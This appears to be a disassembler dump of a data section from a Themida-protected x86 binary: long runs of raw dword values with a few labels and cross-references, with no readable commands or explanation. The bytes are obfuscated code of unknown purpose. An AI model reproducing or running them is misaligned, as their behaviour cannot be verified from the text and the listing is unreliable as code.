dd 0C9FF55B4h, 21AE556Ch, 786D0C97h, 258A1952h, 258A116Ch
dd 21AE55E1h, 7D6D043Ah, 932F19C5h, 9097EA22h, 94514110h
dd 244C4316h, 3FE3E852h, 0A423500Fh, 244B2F97h, 0A9FE8F0h
dd 0F151505Fh, 0C9FC55B4h, 21AE556Ch, 7B6D0F97h, 258A0152h
dd 258A116Ch, 21AE55E0h, 0AB6D0739h, 0A4272BCAh, 244C4D43h
dd 0C9FF5505h, 21AE55B4h, 786D0CFBh, 258A1964h, 258A1177h
dd 21AE5562h, 0A46D04FCh, 81115D36h, 6813DEE6h, 0E7ABB7A3h
dd 0C3A41C5Eh, 20CE16E8h, 0C382E073h, 98C8347Eh, 13C634E9h
dd 2E19E3E0h, 21AE56EEh, 0EE2533B7h, 3B8A615Ah, 2EA573A3h
dd 21AE5673h, 0A46BD57Bh, 370FE042h, 21C4503Ch, 21ADBD3Eh
dd 788E55B7h, 6D270C18h, 652F51C9h, 21B951D2h, 70EF557Bh
dd 51097B7Eh, 0B7B2EAA2h, 0A4234099h, 244B2FD6h, 0C9FB55B1h
dd 21AE55EEh, 7C6D08D6h, 258A39F2h, 258A113Ch, 21AE55C8h
dd 856D002Ah, 2F478378h, 7AAE55DBh, 0B5A861BDh, 187667FDh
dd 32D455B3h, 4B7EAAF2h, 224602DEh, 1AE556Fh, 0A8F196E8h
dd 0A0AA71A7h, 3CAA71A9h, 66AE55F6h, 859F962Ch, 650EE7h
dd 43478B19h, 376BD0E6h, 0A0C85055h, 0AC953405h, 0C415F868h
dd 70AE3FF3h, 21AE5693h, 0E2F775BDh, 5E2DC87h, 5EAD46Bh
dd 21AE41B3h, 0E2FF14DBh
dd 9F57E7FDh, 160A4D41h, 531033EBh, 274605A4h, 0D3AE55DEh
dd 71AEA93h, 0EA110597h, 7FCF5750h, 0D225C5B3h, 21AE5B1Eh
dd 5C222E7Bh, 6D567FFBh, 0C9851BDFh, 0C9C7B711h, 21AE55A4h
dword_52A8B0 dd 0ACBC5F77h, 0AE98372Fh, 32E55945h, 0A441035h, 26ABFC9h
; DATA XREF: Themida_:004EEA3Co
dd 0C3A20C4Bh, 0DEF00A6Ah, 0C3B8AC22h, 0F82F33DEh, 0F9254BAFh
dd 3A73D596h, 0D8FE052h, 0ACCF505Fh, 0C415F45Bh, 77AE3F6Ah
dd 21AE565Fh, 0E2F075DBh, 5DADCB3h, 5EAD4F2h, 21AE4D7Fh
dd 0E2F813BDh, 22A01B24h, 0EB195AF6h, 2C2BE83Eh, 0A8FE5039h
dd 21C471E9h, 21ADBDA7h, 788E557Bh, 6D270C7Eh, 652F51FAh
dd 21B5514Bh, 70EF55B7h, 0C9D85818h, 314286EEh, 0AAC8C6A2h
dd 0AA3D05AAh, 0C3A01008h, 0F43BAADBh, 0A0ABB75Fh, 2A96F476h
dd 2BDCE8h, 4BABB7FBh, 224607F6h, 1AE557Bh, 0A8F496E7h
dd 0A0AA718Ah, 37AA712Bh, 63AE55B7h, 232C9689h, 24205A31h
dd 47AE55F6h, 0AE4F94FAh, 21AE5F55h, 0BFC651DEh, 187116C2h
dd 0C840DBC2h, 21AE55D4h, 0E9E7073Bh, 594BCB46h, 25A42324h
dd 7F60E1BAh, 8FD019h, 21A1508Dh, 0AAC855B7h, 232E5A20h
dd 0AAAE55EDh, 3BAA26h, 4BABB76Dh, 224603BDh, 1AE55DEh
dd 0A8F09631h, 0A0AA71C3h, 38AA719Fh, 67AE55EDh, 0E83296A0h
dd 20222A88h, 365FD034h, 21C4503Ch, 21ADBD3Ch, 7A8E55B7h
dd 7D270E18h, 652F51C9h, 21BA51D2h, 72ED557Bh, 0AA56D37Eh
dd 0C382C05Bh, 0B733D86Ah, 0A8ABB07Ah, 9C235498h, 244C5848h
dd 0ECDEE07Bh, 1217509Eh, 0D2AE55BDh, 999DBE7Ah, 21AE556Fh
dd 22DA95BCh, 0AAAE4D19h, 72A271A9h, 21AE551Eh, 0E22F0E7Bh
dd 21AE55AAh, 318A0957h, 358A11E6h, 8199EDECh, 0C1515540h
dd 258A1166h, 0AC87B509h, 244C55A2h, 9840DFDCh, 7CDCE37Bh
dd 9A0FE8E2h, 0AC235052h, 244B9816h, 7056055h, 0C42B666Eh
dd 0AABB763h, 23479472h, 8B21C435h, 6F21ADBDh, 747C8E55h
dd 0FF4D2708h, 0C9652F51h, 0F621BB51h, 0F305E983h, 6AD98BA4h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 7671C357h, 71306304h, 0C53D341Dh, 7B77D681h
dd 8BF91D0Fh, 0E2215D8Dh, 65E905h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 9E9C70C3h
dd 0F51B97B9h, 11E9h, 24438400h, 8684E1ADh, 6C1E77AAh
dd 18154EE3h, 6A6139C8h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 99BC355h, 0E9C392CEh
dd 7, 246C1923h, 8BD8E904h, 57006AC0h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 8C5A9722h
dd 49B85E92h, 0BD83F576h, 5E21EA9h, 83097500h, 0E21805BDh
dd 19740005h, 0C08B5350h, 4B9B8h, 0D5858900h, 8D05E21Dh
dd 0E4B3619Dh, 5BD3FF05h, 5BD8358h, 5E218h, 53501774h
dd 4B9B8h, 0D5858900h, 8D05E21Dh, 0E4B0029Dh, 5BD3FF05h
dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 3C76F934h, 0F1AC7B89h, 0FE97833h, 78000000h
dd 0B470EF9Ah, 0D42C7131h, 27F09600h, 6A9FA5h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 97ECA8C3h, 18E0F74h, 0F8000000h, 0F9C08BF9h, 0C18B40F5h
dd 10E8h, 7952400h, 6BA4707Fh, 9447E507h, 9685039Ah, 0A9B58B23h
dd 5F05E226h, 4EBh, 12E90000h, 0B8000000h, 0EBF114DEh
dd 0AA096F40h, 222BB820h, 36B51EDEh, 56006A38h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 248FD1DCh
dd 19B529F9h, 0BF05E20Bh, 6A8BC8D2h, 0E91858Dh, 6A05E2h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 9C518DC3h, 0C6D74FA9h, 0BE013053h, 7459F697h, 0DE8h
dd 28D0D600h, 0FAEA6AE3h, 0F1469264h, 8060AC85h, 0B52392C0h
dd 5E22139h, 8B505F61h, 240489F0h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 59C35040h, 0B58B168Bh, 0F0C7F311h
dd 0F88B668Eh, 5E8006Ah, 3F000000h, 5521C9CAh, 7E9h, 195ED500h
dd 0AECBA2D1h, 6A006A5Eh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 0A5C3C352h, 0BB016363h
dd 0DE81660Dh, 858DB71Fh, 5E5D1E5h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 18h, 0A6C35646h, 0BD3E25AEh, 81B58Bh
dd 0C08305E2h, 12E905h, 91720000h, 23E1B23Ch, 50801526h
dd 0DA82D2E3h, 69F3D338h, 58F0F50h, 0BE000000h, 66480B08h
dd 8B240489h, 0E232FDBDh, 0DE805h, 95E80000h, 6E8A3h, 0A03D31C8h
dd 8B007A67h, 0E20B6DB5h, 6A5F05h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 89C35141h, 8166A9EFh, 6A3030CFh
dd 6820F00h, 8B000000h, 0E22985B5h, 2D95FF05h, 6A05E21Eh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 8FAEC351h, 174D811Bh, 0D180603Eh, 0C1B58996h
dd 6105E20Bh, 9D809D8Dh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0FFDC71C3h, 50006AD3h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 54581040h, 0BE1C69B2h, 2AFDDD3Eh, 232985FFh, 6A05E2h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 0C747DEC3h, 0F541A94h, 0F89h, 0AE900h, 54B40000h, 802B67Eh
dd 0F8CDB179h, 6CAE9h, 0E800h, 815D0000h, 0E5D1EFEDh, 29BD8905h
dd 8105E22Dh, 0E22121BDh, 7D005h, 89860F00h, 66000001h
dd 9D8BF78Bh, 5E2218Dh, 1755B523h, 958905E2h, 5E21BA9h
dd 100E381h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 858BC6C3h, 5E444AAEh, 0FDB0B3Ah
dd 0F085h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1704h, 0C3574700h, 1B71863Dh, 2D2505BFh, 0EE931h, 5E610000h
dd 0C959CFCDh, 0A86AE916h, 9317482Fh, 0CF7FBD83h, 0F0005E5h
dd 3184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 0E9DA5D4Ch, 0B1858946h, 0E905E209h
dd 91h, 751B503h, 85C705E2h, 5E5CF7Fh, 1, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 15h, 0C1C35141h, 10F7813Fh
dd 15CEF41h, 0E224A5B5h, 53E905h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 234465C3h
dd 7F5403DBh, 13E96067h, 6E000000h, 8FC45F56h, 1B8ED8D1h
dd 507625B6h, 95EB6459h, 8D890DC4h, 5E20D11h, 7F85C761h
dd 5E5CFh, 8B000000h, 0E2331DB5h, 8D9D8D05h, 6A05E221h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 0FF3C350h, 0B58BF1B7h, 5E22AC9h, 0FEFF2381h
dd 860FFFFFh, 0Ch, 5E960h, 5DE80000h, 6170FA1Eh, 6ADB8C66h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 0E321C355h, 0DD1EF6ADh, 0FE8B1BF5h, 0F04C3F6h
dd 3D84h, 0FF5E5000h, 0E2162195h, 57006A05h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0FA8B4DA1h
dd 24048950h, 68C0Fh, 0CE810000h
dd 74D41F47h, 70D8D31h, 0D3E905E2h, 0F9000003h, 0BF0F00B0h
dd 0F70E6F2h, 687h, 0BDB58B00h, 0E405E20Ah, 53006A71h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0E5AF4421h, 0F0BA7BFh, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 8B669FC3h, 6BAFEh, 0B58B0000h
dd 5E20D8Dh, 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 4D88FDC3h, 88AB5018h, 0E8C1F6DBh
dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 0ED53F94Bh, 5E97Eh, 0B2910000h, 66DB84E4h
dd 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 0C681EBC3h, 10295DBh, 1BA98D89h, 0D82B05E2h
dd 19059D89h, 669305E2h, 8B50F18Bh, 0BD8B93FEh, 5E23259h
dd 2121B5FFh, 0BD3105E2h, 5E21A21h, 0FFF9BF0Fh, 0E20AB995h
dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 7DD447A5h, 6A00B0h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 6E927CC3h, 8817F742h
dd 0E65FFC57h, 3DBD8B70h, 0E405E219h, 57006A71h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 613C1A9Fh, 250830Fh, 0BD890000h, 5E2090Dh, 6AD8B60Fh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 3EC6C350h, 6BAD8h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 38263CC3h
dd 4565D40Fh, 0FEE47BFh, 682h, 89953100h, 8B05E208h, 57006AC3h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 6C0EE197h, 0C9825BB3h, 0E9C88A60h, 10h, 9933C0DDh, 7E2AD40Eh
dd 0A18719CCh, 6A6CD7F5h, 4E8C161h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 18C35141h, 0C11BCF9Fh, 2B602675h
dd 0E2109195h, 0DDB58B05h, 6105E230h, 6AE2F766h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 13BFC356h, 0BF661D62h, 8166AE48h, 8989BAEFh, 0E22A8985h
dd 0E9D82B05h, 10h, 86BD9D59h, 2BB5C5F1h, 79305B69h, 9D5F2549h
dd 15498589h, 665805E2h, 0D82BF78Bh, 128880Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 2EBBCCC3h, 0FB5C94B1h, 7B937A7h, 83000000h, 6A00C1h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 49D822C3h, 0E9BD0956h, 3B05E218h, 0CF860FD9h, 66000000h
dd 0BFF2D681h, 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 52D0C356h, 0E8D2E1B3h
dd 0E6F7819Fh, 911732Ah, 0E217A9BDh, 4C1F605h, 88840Fh
dd 0FFF90000h, 0E2162195h, 57006A05h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0E93EB987h
dd 0B58BBF82h, 5E22409h, 0C32BF55Bh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 4BC35747h, 0C6DB529h, 343D05E2h
dd 0F000008h, 2986h, 2CE900h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0CA84F5C3h
dd 9D5BD8Bh, 0C08B05E2h, 885B529h, 0C38B05E2h, 1CBFD88Bh
dd 8B6BE582h, 0E21889BDh, 0C185C705h, 1905E204h, 8B761D3Bh
dd 0CD9D31C0h, 8105E215h, 0E22121BDh, 7D005h, 0E850F00h
dd 8B000000h, 2185FFF1h, 8B05E221h, 0E2331DB5h, 21B5FF05h
dd 6A05E221h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 0B9D3C357h, 72C4E4F2h, 33B66D52h
dd 0E20EA5BDh, 0B995FF05h, 6A05E20Ah, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0BB21C357h
dd 0B890856Dh, 12345678h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 0BAC35040h, 0B58B258Eh, 5E229B5h, 0D8709D8Dh
dd 46E905E5h, 0E9FFFFF9h, 0Bh, 0CB6A0A6h, 75FB9A9Ch
byte_52B568 db 18h ; DATA XREF: Themida_:00504AF2o
byte_52B569 db 28h, 7Bh, 8Bh ; DATA XREF: Themida_:004EF4B8o
dd 0C18589C1h, 0EB05E20Ah, 4, 0FA8B6600h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 18h, 6DC35141h, 7456B53Eh
dd 81F1BF0Fh, 3F2800D6h, 91858D3Bh, 5605E20Eh, 66505EF9h
dd 89AE4FBEh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 0EE2329C3h, 8BC65157h, 0E20625BDh
dd 0F6B70F05h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 9D09D9C3h, 5E21639h, 9D89006Ah
dd 5E21765h, 8830Fh, 81500000h, 82AA3ED7h, 858D5F1Fh, 5E5DA61h
dd 0AEFBEF9h, 0C0831DEEh, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 8390887Ah
dd 0BD750EA8h, 6820Fh, 0B58B0000h, 5E20509h, 89F18B50h
dd 8D892404h, 5E21795h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 0C803AFC3h, 0BD89E2BAh
dd 5E22619h, 0F28B006Ah, 1E2D95FFh, 6A05E2h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 0A02E48C3h
dd 9A5BE781h, 9D8D37A0h, 5E59D80h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 0ADC35747h, 29D40022h, 0E21EA59Dh
dd 6AD3FF05h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 22A4C350h, 37410C91h, 677D9F16h
dd 16A59589h, 85FF05E2h, 5E22329h, 0D97E9h, 0E800h, 815D0000h
dd 0E5DA6BEDh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 4F951C56h, 2ABC2803h
dd 2BFD8529h, 0BD8105E2h, 5E22121h, 7D0h, 11A860Fh, 5F570000h
dd 23C9B50Bh, 9D8B05E2h, 5E21BF5h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 6C35646h, 0ECDB58Bh, 0E38105E2h
dd 100h, 0BFEBF0Fh, 79850FDBh, 29000000h, 0E20691B5h, 0BEBD8305h
dd 5E5D8h, 2C840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 4B9540C3h, 0E9D5553Ah
dd 6Bh, 17D99D89h, 85C705E2h, 5E5D8BEh, 1, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 17C35141h, 48F9FEC3h
dd 6E9h, 1E249E00h, 0E9B740E3h, 2Bh, 0D8BE85C7h, 5E5h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 0C240E8C3h, 8D31D557h, 0E21BF59Dh, 56006A05h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 61FF270Ah, 6429B214h, 0A01BD0Bh, 238105E2h, 0FFFFFEFFh
dd 0E9DB8C66h, 12h, 0D09C22F1h, 0A2061A7Eh, 307B3D7Ah
dd 0DDBE8459h, 0C3F6EFD5h, 95840F04h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 0FD15C353h, 95FFB167h, 5E21621h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 33C35141h, 5899BE70h, 0E95047CBh
dd 14h, 0E1ED7CC9h, 0B7FAEF44h, 64AAD5D6h, 9D164542h, 83660004h
dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 0CF91C357h, 4124D77Dh, 0E9BDFE9Fh
dd 799BD8Bh, 0B58B05E2h, 5E22189h, 457E9h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0FEDE0264h, 0E9D584EEh, 11h, 3988E994h, 0CEA69C18h
dd 80859DF1h, 0A706D960h, 6A00B098h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0C38CC351h
dd 7E8h, 0D8679E00h, 0E03A0CD4h, 8970E65Fh, 0E210E185h
dd 6A71E405h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 0F0EEC357h, 5928F6EFh, 0FFADB8Ch
dd 38Eh, 0F9B70F00h, 19E98D29h, 0B60F05E2h, 53006AD8h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 3AFBF184h, 81B21CE5h, 5E886h, 98E00000h, 0F8C924DFh
dd 6BA5Eh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 98E16C3h, 9D89F99Bh, 5E20A61h, 6AC38Bh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 8BB452C3h, 0E22C91B5h, 4E8C105h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 0F0C35141h, 15BD2B38h, 6605E215h
dd 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 2BECCDC3h, 0E21071BDh, 66D82B05h, 938541BFh
dd 118F0Fh, 0CE90000h, 53000000h, 67F15823h, 0C9EEBDF5h
dd 508F8CEDh, 6A93F78Bh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 309C355h, 8913E182h
dd 0E232E185h, 21B5FF05h, 8905E221h, 0E2045D85h, 0B995FF05h
dd 6A05E20Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 0DA3CC353h, 85D9F132h, 4AEADA84h
dd 0F1B50960h, 8905E215h, 0E21CC99Dh, 0B06105h, 0CED4BF66h
dd 71E470E6h, 0E69BD8Bh, 613C05E2h, 242830Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 0F0061C3h, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 48ED0DC3h, 0F0FE2825h, 0BF667E5Fh
dd 6BA1F05h, 8B000000h, 0E20B29B5h, 0FC38B05h, 0E8C1F7BFh
dd 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 0E2F766BFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 0D6C35545h, 199529C7h, 2B05E205h, 0A9B589D8h
dd 0E905E213h, 9, 4AE17BDh, 0A9D94D5Bh, 858958E2h, 5E21EB1h
dd 880FD82Bh, 180h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 2FC35040h, 0FDC6D9A0h, 2357729Ah, 0E214D1B5h
dd 7B95F05h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 0A136C356h, 958D2916h
dd 8305E20Bh, 6A00C1h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 9A9D24C3h, 4F576C92h, 3BB62DB5h
dd 0FD860FD9h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 0F7D6C357h, 40FC2DCBh
dd 0B58B3096h, 5E219C9h, 9D98C66h, 0E20AFD8Dh, 4C1F605h
dd 0BF840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 0AF185C3h, 7EFA84A5h, 21A98509h
dd 95FF05E2h, 5E21621h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 0DDC35242h, 95DE9B58h, 0FA5E8479h, 0AD8D89B0h
dd 8B05E21Fh, 0E20419BDh, 8B665B05h, 0C32BF5F1h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 52C35242h, 0BF7E247Eh
dd 2DC4E204h, 8343Dh, 2A860F00h, 0E9000000h, 28h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 4DC35040h, 0C6BF3E17h
dd 4AAE858Bh, 0F5C08B44h, 0D88BC38Bh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 50C35343h, 7C7BB96Ah, 66277EA7h
dd 0BF96C4BFh, 3819A903h, 218D85C7h, 0FD9105E2h, 8B663F0Fh
dd 6AC08BFAh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0AA6FC351h, 85D9A96h, 0BD81601Ah
dd 5E22121h, 7D0h, 26850Fh, 8E80000h, 0AC000000h, 3B910B89h
dd 5F1C1A4Ch, 2D298D89h, 85FF05E2h, 5E22121h, 155BD8Bh
dd 0B58B05E2h, 5E22111h, 2121B5FFh, 0EE905E2h, 0DC000000h
dd 461A3EF8h, 0AF032449h, 0E0A3CDEAh, 0B995FFB5h, 6A05E20Ah
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h
dd 40000000h, 5BFDC350h, 8433DD64h, 89802478h, 55B26060h
dd 92DB8166h, 0BF0F61CBh, 409061C9h, 54D8589h, 0BD8305E2h
dd 5E204CDh, 0EC840F00h, 89000000h, 0E216F59Dh, 0EDBD8305h
dd 5E21Fh, 0D9840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 3CE243C3h, 811804F5h
dd 156D8D89h, 95FF05E2h, 5E204CDh, 33499D89h, 0BD8B05E2h
dd 5E22635h, 840FC00Bh, 97h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 20C35242h, 9F6FA6EFh, 71BD8BDCh
dd 8D05E207h, 0E24C428Dh, 51006A05h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 77C18D2Bh
dd 0F8AA31FFh, 68C0Fh, 8D310000h, 5E22491h, 0B8F88B66h
dd 5, 14518589h, 0E1FF05E2h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 6EC35040h, 0F7EBFE25h, 9772F3C6h
dd 0E1BD8B6Ah, 8305E217h, 0E23199BDh, 840F0005h, 522h
dd 0A39B58Bh, 0BD8305E2h, 5E21FEDh, 0F840F00h, 6A000005h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 583BC353h, 37BFF599h, 0E50DBEB4h, 6820Fh
dd 9D890000h, 5E20D19h, 1B718D8Dh, 6A05E2h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 1753FBC3h
dd 57CBF1F4h, 958930A4h, 5E2215Dh, 7C8401C7h, 6A44B2h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 419B31C3h, 0A106BB24h, 18175C6h, 1499CFCBh, 0DE8h, 8A7B7F00h
dd 24F49CA6h, 0B7E2348Ch, 0C75F414Eh, 6B340441h, 6660CE70h
dd 9B12E681h, 14E8h, 0B7F8800h, 721E65FFh, 0FEFB7514h
dd 7107B7E1h, 0C775B8AAh, 8DB589D2h, 5B05E216h, 27BF6661h
dd 441819Bh, 31D6D710h, 8E1B58Bh, 6A05E2h, 14D5BD29h, 9D8905E2h
dd 5E21495h, 1B71858Dh, 853105E2h, 5E21A41h, 0F88B6650h
dd 3240489h, 0E20141B5h, 9995FF05h, 8905E231h, 0E20CFDBDh
dd 718D8D05h, 8B05E21Bh, 0E21471BDh, 1C705h, 0E9000000h
dd 13h, 68DCE990h, 15749C26h, 213421C6h, 0D7A225DAh, 0C768C943h
dd 441h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 0EC751C3h, 0BCA117Ah, 0C00B0958h
dd 0C6840Fh, 10E80000h, 0E000000h, 649B0ED6h, 4E5A891Dh
dd 0A5230E2Eh, 89C3EF83h, 0E23259B5h, 8D8D5E05h, 5E24C42h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 30C35343h
dd 883E769Bh, 840FF4h, 60000000h, 8E8h, 0CBDC1200h, 0D44D6C90h
dd 13E923h, 77DC0000h, 0DDE58530h, 0E343514Ah, 0CEA6C57h
dd 6BD1DF0h, 0B86158C3h, 5, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 0B7C35646h, 0F7B0370Bh, 0FFF4CDF5h, 55006AE1h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 0E5702604h, 66F561DAh, 0B589F08Bh, 5E221F9h, 1B718D8Dh
dd 0DE905E2h, 0A4000000h, 3C87EE53h, 56B9AF28h, 91D4CB80h
dd 727C01C7h, 890F44AAh, 0
dd 0CFCB0181h, 6A1499h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 0A71294C3h, 0E97E9124h, 441C7C2h
dd 0CE78753Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 87C35545h, 8B0F8300h, 3, 81F28B66h, 0D7100441h
dd 858931D6h, 5E2156Dh, 860F006Ah, 0
dd 1B71858Dh, 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 96A0C6C3h, 0AA903950h, 0AE9EDD1h
dd 51000000h, 4982DBF4h, 4273CC18h, 0BF66908Ah, 5050DCA2h
dd 1EBF6652h, 0E8310F34h, 0Ch, 7BD01F2Ah, 0C9E027C5h, 0E8E6B91Fh
dd 0B40CBF66h, 90585A5Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 16h, 3AC35646h, 8D894B42h, 5E223B5h, 319995FFh
dd 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
